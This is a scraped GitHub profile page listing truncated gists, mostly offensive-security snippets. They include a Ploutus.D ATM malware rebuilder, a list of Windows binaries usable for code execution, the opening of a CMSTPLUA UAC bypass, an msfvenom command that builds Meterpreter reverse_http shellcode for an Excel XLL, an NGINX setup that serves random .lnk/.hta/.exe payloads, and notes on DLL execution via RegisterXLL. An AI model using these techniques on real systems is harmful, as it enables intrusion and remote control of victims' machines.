Skip to content

Instantly share code, notes, and snippets.

View 0x25bit's full-sized avatar
:shipit:
Wait, did I stream that out loud?

Aekr1_ //akrasia 0x25bit

:shipit:
Wait, did I stream that out loud?
View GitHub Profile
@enkomio
enkomio / AssemblyAlternativeLoader.fs
Last active July 11, 2020 12:07
An alternative method to load an Assembly
open System
open System.Reflection
open System.IO
/// Use the private method GetTypeByNameUsingCARules in order to load the Assembly. This method will in turn uses the internal
/// method: private static extern void GetTypeByNameUsingCARules(string name, RuntimeModule scope, ObjectHandleOnStack type);
let loadAssembly(filename: String, className: String, methodName: String, methodArguments: Object array) =
let bindingFlags = BindingFlags.Static ||| BindingFlags.NonPublic ||| BindingFlags.Public ||| BindingFlags.Instance
let assemblyName = AssemblyName.GetAssemblyName(Path.GetFullPath(filename))
let fullName = String.Format("{0},{1}", className, assemblyName.FullName)
@enkomio
enkomio / Ploutus.D_rebuilder.fs
Last active May 28, 2024 21:19
This code extracts the real MSIL bytecode of the malware sample and rebuild a new assembly
open System
open System.Linq
open System.Reflection
open System.Runtime.CompilerServices
open System.Collections
open System.Collections.Generic
open System.Diagnostics
open Microsoft.Diagnostics.Runtime
open dnlib.DotNet
open dnlib.DotNet.Emit
@hasherezade
hasherezade / main.cpp
Last active September 12, 2024 05:53
Get PEB64 from a WOW64 process
#include <Windows.h>
#include <iostream>
#include "ntdll_undoc.h"
PPEB get_default_peb()
{
#if defined(_WIN64)
return (PPEB)__readgsqword(0x60);
#else
@zerhacken
zerhacken / cpp-stdwstring-to-stdstring.cpp
Last active August 1, 2019 04:05
std::wstring to std::string
#include <iostream>
#include <string>
#include <cassert>
#include <iostream>
#include <string>
#include <locale>
#include <codecvt>
@trustedsec
trustedsec / gist:686057a1b8cdf3e580c57b211b263abe
Created November 2, 2017 15:11
List of applications for code execution via legit binaries
Rundll32.exe
Regsvr32.exe
Mshta.exe
Msbuild.exe
Cbd.exe
Csc.exe
Tracker.exe
Ntsd.exe
Bginfo.exe
Kd.exe
@udaken
udaken / twstring.hpp
Last active June 12, 2023 04:20
Tiny String class for Win32.(licensed under The Unlicense)
#pragma once
#include <windows.h>
#include <Shlwapi.h>
#include <Strsafe.h>
#pragma comment(lib, "Shlwapi.lib")
#include <utility>
#include <cassert>
#include <cwchar>
#include <cstdint>
@hfiref0x
hfiref0x / akagi_41.c
Created August 16, 2017 03:31
UAC bypass using CMSTPLUA COM interface
typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in ICMLuaUtil * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);
// Compile with:
// cl.exe x86_meterpreter_reverse_http_xor.c /LD /o x86_meterpreter_reverse_http_xor.xll
//
// C/CPP code obtained like this:
// 1. Get a raw meterpreter shellcode:
// msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai > met_rev_winhttp_x86.raw
// 2. Encrypt it with a custom multibyte XOR string (https://github.com/Arno0x/ShellcodeWrapper):
// ./shellcode_encoder.py -cpp met_rev_winhttp_x86.raw testkey xor
#include <Windows.h>
@jivoi
jivoi / gist:a33ace2e25515a31aa2ffbae246d98c9
Created June 14, 2017 13:27
Serving Random Payloads with NGINX
# Serving Random Payloads with NGINX
# add set_random module https://github.com/openresty/set-misc-nginx-module#set_random
# edit file /etc/nginx/sites-enabled/default
set_random $uri 1 3;
map $uri $payloads {
1 /payload.lnk;
2 /payload.hta;
3 /payload.exe;
@ryhanson
ryhanson / ExcelXLL.md
Last active November 8, 2024 14:51
Execute a DLL via .xll files and the Excel.Application object's RegisterXLL() method

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc